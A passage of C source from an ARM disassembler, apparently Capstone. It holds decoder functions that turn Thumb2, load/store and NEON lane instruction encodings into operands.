if (Val == 0xA || Val == 0xB)
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, Val);
return MCDisassembler_Success;
}
static DecodeStatus DecodeThumbTableBranch(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
if (Rn == ARM_SP) S = MCDisassembler_SoftFail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecoderGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeThumb2BCCInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned brtarget;
unsigned pred = fieldFromInstruction_4(Insn, 22, 4);
if (pred == 0xE || pred == 0xF) {
unsigned imm;
unsigned opc = fieldFromInstruction_4(Insn, 4, 28);
switch (opc) {
default:
return MCDisassembler_Fail;
case 0xf3bf8f4:
MCInst_setOpcode(Inst, ARM_t2DSB);
break;
case 0xf3bf8f5:
MCInst_setOpcode(Inst, ARM_t2DMB);
break;
case 0xf3bf8f6:
MCInst_setOpcode(Inst, ARM_t2ISB);
break;
}
imm = fieldFromInstruction_4(Insn, 0, 4);
return DecodeMemBarrierOption(Inst, imm, Address, Decoder);
}
brtarget = fieldFromInstruction_4(Insn, 0, 11) << 1;
brtarget |= fieldFromInstruction_4(Insn, 11, 1) << 19;
brtarget |= fieldFromInstruction_4(Insn, 13, 1) << 18;
brtarget |= fieldFromInstruction_4(Insn, 16, 6) << 12;
brtarget |= fieldFromInstruction_4(Insn, 26, 1) << 20;
if (!Check(&S, DecodeT2BROperand(Inst, brtarget, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
// Decode a shifted immediate operand. These basically consist
// of an 8-bit value, and a 4-bit directive that specifies either
// a splat operation or a rotation.
static DecodeStatus DecodeT2SOImm(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
unsigned ctrl = fieldFromInstruction_4(Val, 10, 2);
if (ctrl == 0) {
unsigned byte = fieldFromInstruction_4(Val, 8, 2);
unsigned imm = fieldFromInstruction_4(Val, 0, 8);
switch (byte) {
case 0:
MCOperand_CreateImm0(Inst, imm);
break;
case 1:
MCOperand_CreateImm0(Inst, (imm << 16) | imm);
break;
case 2:
MCOperand_CreateImm0(Inst, (imm << 24) | (imm << 8));
break;
case 3:
MCOperand_CreateImm0(Inst, (imm << 24) | (imm << 16) | (imm << 8) | imm);
break;
}
} else {
unsigned unrot = fieldFromInstruction_4(Val, 0, 7) | 0x80;
unsigned rot = fieldFromInstruction_4(Val, 7, 5);
unsigned imm = (unrot >> rot) | (unrot << ((32-rot)&31));
MCOperand_CreateImm0(Inst, imm);
}
return MCDisassembler_Success;
}
static DecodeStatus DecodeThumbBCCTargetOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
MCOperand_CreateImm0(Inst, SignExtend32(Val << 1, 9));
return MCDisassembler_Success;
}
static DecodeStatus DecodeThumbBLTargetOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
// Val is passed in as S:J1:J2:imm10:imm11
// Note no trailing zero after imm11. Also the J1 and J2 values are from
// the encoded instruction. So here change to I1 and I2 values via:
// I1 = NOT(J1 EOR S);
// I2 = NOT(J2 EOR S);
// and build the imm32 with one trailing zero as documented:
// imm32 = SignExtend(S:I1:I2:imm10:imm11:'0', 32);
unsigned S = (Val >> 23) & 1;
unsigned J1 = (Val >> 22) & 1;
unsigned J2 = (Val >> 21) & 1;
unsigned I1 = !(J1 ^ S);
unsigned I2 = !(J2 ^ S);
unsigned tmp = (Val & ~0x600000) | (I1 << 22) | (I2 << 21);
int imm32 = SignExtend32(tmp << 1, 25);
MCOperand_CreateImm0(Inst, imm32);
return MCDisassembler_Success;
}
static DecodeStatus DecodeMemBarrierOption(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
if (Val & ~0xf)
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, Val);
return MCDisassembler_Success;
}
static DecodeStatus DecodeInstSyncBarrierOption(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
if (Val & ~0xf)
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, Val);
return MCDisassembler_Success;
}
static DecodeStatus DecodeMSRMask(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
uint64_t FeatureBits = ARM_getFeatureBits(Inst->csh->mode);
if (FeatureBits & ARM_FeatureMClass) {
unsigned ValLow = Val & 0xff;
// Validate the SYSm value first.
switch (ValLow) {
case 0: // apsr
case 1: // iapsr
case 2: // eapsr
case 3: // xpsr
case 5: // ipsr
case 6: // epsr
case 7: // iepsr
case 8: // msp
case 9: // psp
case 16: // primask
case 20: // control
break;
case 17: // basepri
case 18: // basepri_max
case 19: // faultmask
if (!(FeatureBits & ARM_HasV7Ops))
// Values basepri, basepri_max and faultmask are only valid for v7m.
return MCDisassembler_Fail;
break;
default:
return MCDisassembler_Fail;
}
// The ARMv7-M architecture has an additional 2-bit mask value in the MSR
// instruction (bits {11,10}). The mask is used only with apsr, iapsr,
// eapsr and xpsr, it has to be 0b10 in other cases. Bit mask{1} indicates
// if the NZCVQ bits should be moved by the instruction. Bit mask{0}
// indicates the move for the GE{3:0} bits, the mask{0} bit can be set
// only if the processor includes the DSP extension.
if ((FeatureBits & ARM_HasV7Ops) && MCInst_getOpcode(Inst) == ARM_t2MSR_M) {
unsigned Mask = (Val >> 10) & 3;
if (Mask == 0 || (Mask != 2 && ValLow > 3) ||
(!(FeatureBits & ARM_FeatureDSPThumb2) && Mask == 1))
return MCDisassembler_Fail;
}
} else {
// A/R class
if (Val == 0)
return MCDisassembler_Fail;
}
MCOperand_CreateImm0(Inst, Val);
return MCDisassembler_Success;
}
static DecodeStatus DecodeDoubleRegLoad(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
if (Rn == 0xF)
S = MCDisassembler_SoftFail;
if (!Check(&S, DecodeGPRPairRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeDoubleRegStore(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
unsigned Rt = fieldFromInstruction_4(Insn, 0, 4);
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (Rn == 0xF || Rd == Rn || Rd == Rt || Rd == Rt+1)
S = MCDisassembler_SoftFail;
if (!Check(&S, DecodeGPRPairRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeLDRPreImm(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned pred;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned imm = fieldFromInstruction_4(Insn, 0, 12);
imm |= fieldFromInstruction_4(Insn, 16, 4) << 13;
imm |= fieldFromInstruction_4(Insn, 23, 1) << 12;
pred = fieldFromInstruction_4(Insn, 28, 4);
if (Rn == 0xF || Rn == Rt) S = MCDisassembler_SoftFail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeAddrModeImm12Operand(Inst, imm, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeLDRPreReg(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned pred, Rm;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned imm = fieldFromInstruction_4(Insn, 0, 12);
imm |= fieldFromInstruction_4(Insn, 16, 4) << 13;
imm |= fieldFromInstruction_4(Insn, 23, 1) << 12;
pred = fieldFromInstruction_4(Insn, 28, 4);
Rm = fieldFromInstruction_4(Insn, 0, 4);
if (Rn == 0xF || Rn == Rt) S = MCDisassembler_SoftFail;
if (Rm == 0xF) S = MCDisassembler_SoftFail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeSORegMemOperand(Inst, imm, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeSTRPreImm(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned pred;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned imm = fieldFromInstruction_4(Insn, 0, 12);
imm |= fieldFromInstruction_4(Insn, 16, 4) << 13;
imm |= fieldFromInstruction_4(Insn, 23, 1) << 12;
pred = fieldFromInstruction_4(Insn, 28, 4);
if (Rn == 0xF || Rn == Rt) S = MCDisassembler_SoftFail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeAddrModeImm12Operand(Inst, imm, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeSTRPreReg(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned pred;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned imm = fieldFromInstruction_4(Insn, 0, 12);
imm |= fieldFromInstruction_4(Insn, 16, 4) << 13;
imm |= fieldFromInstruction_4(Insn, 23, 1) << 12;
pred = fieldFromInstruction_4(Insn, 28, 4);
if (Rn == 0xF || Rn == Rt) S = MCDisassembler_SoftFail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeSORegMemOperand(Inst, imm, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeVLD1LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned size, align = 0, index = 0;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
size = fieldFromInstruction_4(Insn, 10, 2);
switch (size) {
default:
return MCDisassembler_Fail;
case 0:
if (fieldFromInstruction_4(Insn, 4, 1))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 5, 3);
break;
case 1:
if (fieldFromInstruction_4(Insn, 5, 1))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 6, 2);
if (fieldFromInstruction_4(Insn, 4, 1))
align = 2;
break;
case 2:
if (fieldFromInstruction_4(Insn, 6, 1))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 7, 1);
switch (fieldFromInstruction_4(Insn, 4, 2)) {
case 0 :
align = 0; break;
case 3:
align = 4; break;
default:
return MCDisassembler_Fail;
}
break;
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (Rm != 0xF) { // Writeback
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, align);
if (Rm != 0xF) {
if (Rm != 0xD) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
} else
MCOperand_CreateReg0(Inst, 0);
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, index);
return S;
}
static DecodeStatus DecodeVST1LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned size, align = 0, index = 0;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
size = fieldFromInstruction_4(Insn, 10, 2);
switch (size) {
default:
return MCDisassembler_Fail;
case 0:
if (fieldFromInstruction_4(Insn, 4, 1))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 5, 3);
break;
case 1:
if (fieldFromInstruction_4(Insn, 5, 1))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 6, 2);
if (fieldFromInstruction_4(Insn, 4, 1))
align = 2;
break;
case 2:
if (fieldFromInstruction_4(Insn, 6, 1))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 7, 1);
switch (fieldFromInstruction_4(Insn, 4, 2)) {
case 0:
align = 0; break;
case 3:
align = 4; break;
default:
return MCDisassembler_Fail;
}
break;
}
if (Rm != 0xF) { // Writeback
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, align);
if (Rm != 0xF) {
if (Rm != 0xD) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
} else
MCOperand_CreateReg0(Inst, 0);
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, index);
return S;
}
static DecodeStatus DecodeVLD2LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned size, align = 0, index = 0, inc = 1;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
size = fieldFromInstruction_4(Insn, 10, 2);
switch (size) {
default:
return MCDisassembler_Fail;
case 0:
index = fieldFromInstruction_4(Insn, 5, 3);
if (fieldFromInstruction_4(Insn, 4, 1))
align = 2;
break;
case 1:
index = fieldFromInstruction_4(Insn, 6, 2);
if (fieldFromInstruction_4(Insn, 4, 1))
align = 4;
if (fieldFromInstruction_4(Insn, 5, 1))
inc = 2;
break;
case 2:
if (fieldFromInstruction_4(Insn, 5, 1))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 7, 1);
if (fieldFromInstruction_4(Insn, 4, 1) != 0)
align = 8;
if (fieldFromInstruction_4(Insn, 6, 1))
inc = 2;
break;
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+inc, Address, Decoder)))
return MCDisassembler_Fail;
if (Rm != 0xF) { // Writeback
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, align);
if (Rm != 0xF) {
if (Rm != 0xD) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
} else
MCOperand_CreateReg0(Inst, 0);
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+inc, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, index);
return S;
}
static DecodeStatus DecodeVST2LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned size, align = 0, index = 0, inc = 1;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
size = fieldFromInstruction_4(Insn, 10, 2);
switch (size) {
default:
return MCDisassembler_Fail;
case 0:
index = fieldFromInstruction_4(Insn, 5, 3);
if (fieldFromInstruction_4(Insn, 4, 1))
align = 2;
break;
case 1:
index = fieldFromInstruction_4(Insn, 6, 2);
if (fieldFromInstruction_4(Insn, 4, 1))
align = 4;
if (fieldFromInstruction_4(Insn, 5, 1))
inc = 2;
break;
case 2:
if (fieldFromInstruction_4(Insn, 5, 1))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 7, 1);
if (fieldFromInstruction_4(Insn, 4, 1) != 0)
align = 8;
if (fieldFromInstruction_4(Insn, 6, 1))
inc = 2;
break;
}
if (Rm != 0xF) { // Writeback
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, align);
if (Rm != 0xF) {
if (Rm != 0xD) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
} else
MCOperand_CreateReg0(Inst, 0);
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+inc, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, index);
return S;
}
static DecodeStatus DecodeVLD3LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned size, align = 0, index = 0, inc = 1;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
size = fieldFromInstruction_4(Insn, 10, 2);
switch (size) {
default:
return MCDisassembler_Fail;
case 0:
if (fieldFromInstruction_4(Insn, 4, 1))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 5, 3);
break;
case 1:
if (fieldFromInstruction_4(Insn, 4, 1))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 6, 2);
if (fieldFromInstruction_4(Insn, 5, 1))
inc = 2;
break;
case 2:
if (fieldFromInstruction_4(Insn, 4, 2))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 7, 1);
if (fieldFromInstruction_4(Insn, 6, 1))
inc = 2;
break;
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+inc, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+2*inc, Address, Decoder)))
return MCDisassembler_Fail;
if (Rm != 0xF) { // Writeback
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, align);
if (Rm != 0xF) {
if (Rm != 0xD) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
} else
MCOperand_CreateReg0(Inst, 0);
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+inc, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+2*inc, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, index);
return S;
}
static DecodeStatus DecodeVST3LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned size, align = 0, index = 0, inc = 1;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
size = fieldFromInstruction_4(Insn, 10, 2);
switch (size) {
default:
return MCDisassembler_Fail;
case 0:
if (fieldFromInstruction_4(Insn, 4, 1))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 5, 3);
break;
case 1:
if (fieldFromInstruction_4(Insn, 4, 1))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 6, 2);
if (fieldFromInstruction_4(Insn, 5, 1))
inc = 2;
break;
case 2:
if (fieldFromInstruction_4(Insn, 4, 2))
return MCDisassembler_Fail; // UNDEFINED
index = fieldFromInstruction_4(Insn, 7, 1);
if (fieldFromInstruction_4(Insn, 6, 1))
inc = 2;
break;
}
if (Rm != 0xF) { // Writeback
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, align);
if (Rm != 0xF) {
if (Rm != 0xD) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
} else
MCOperand_CreateReg0(Inst, 0);
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+inc, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+2*inc, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, index);
return S;
}
static DecodeStatus DecodeVLD4LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned size, align = 0, index = 0, inc = 1;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
size = fieldFromInstruction_4(Insn, 10, 2);
switch (size) {
default:
return MCDisassembler_Fail;
case 0:
if (fieldFromInstruction_4(Insn, 4, 1))
align = 4;
index = fieldFromInstruction_4(Insn, 5, 3);
break;
case 1:
if (fieldFromInstruction_4(Insn, 4, 1))
align = 8;
index = fieldFromInstruction_4(Insn, 6, 2);
if (fieldFromInstruction_4(Insn, 5, 1))
inc = 2;
break;
case 2:
switch (fieldFromInstruction_4(Insn, 4, 2)) {
case 0:
align = 0; break;
case 3:
return MCDisassembler_Fail;
default:
align = 4 << fieldFromInstruction_4(Insn, 4, 2); break;
}
index = fieldFromInstruction_4(Insn, 7, 1);
if (fieldFromInstruction_4(Insn, 6, 1))
inc = 2;
break;
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+inc, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+2*inc, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+3*inc, Address, Decoder)))
return MCDisassembler_Fail;
if (Rm != 0xF) { // Writeback
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, align);
if (Rm != 0xF) {
if (Rm != 0xD) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
} else
MCOperand_CreateReg0(Inst, 0);
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+inc, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+2*inc, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+3*inc, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, index);
return S;
}
static DecodeStatus DecodeVST4LN(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned size, align = 0, index = 0, inc = 1;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
size = fieldFromInstruction_4(Insn, 10, 2);
switch (size) {
default:
return MCDisassembler_Fail;
case 0:
if (fieldFromInstruction_4(Insn, 4, 1))
align = 4;
index = fieldFromInstruction_4(Insn, 5, 3);
break;
case 1:
if (fieldFromInstruction_4(Insn, 4, 1))
align = 8;
index = fieldFromInstruction_4(Insn, 6, 2);
if (fieldFromInstruction_4(Insn, 5, 1))
inc = 2;
break;
case 2:
switch (fieldFromInstruction_4(Insn, 4, 2)) {
case 0:
align = 0; break;
case 3:
return MCDisassembler_Fail;
default:
align = 4 << fieldFromInstruction_4(Insn, 4, 2); break;
}
index = fieldFromInstruction_4(Insn, 7, 1);
if (fieldFromInstruction_4(Insn, 6, 1))
inc = 2;
break;
}
if (Rm != 0xF) { // Writeback
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, align);
if (Rm != 0xF) {
if (Rm != 0xD) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
} else
MCOperand_CreateReg0(Inst, 0);
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+inc, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+2*inc, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd+3*inc, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, index);
return S;
}
static DecodeStatus DecodeVMOVSRR(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned Rt2 = fieldFromInstruction_4(Insn, 16, 4);
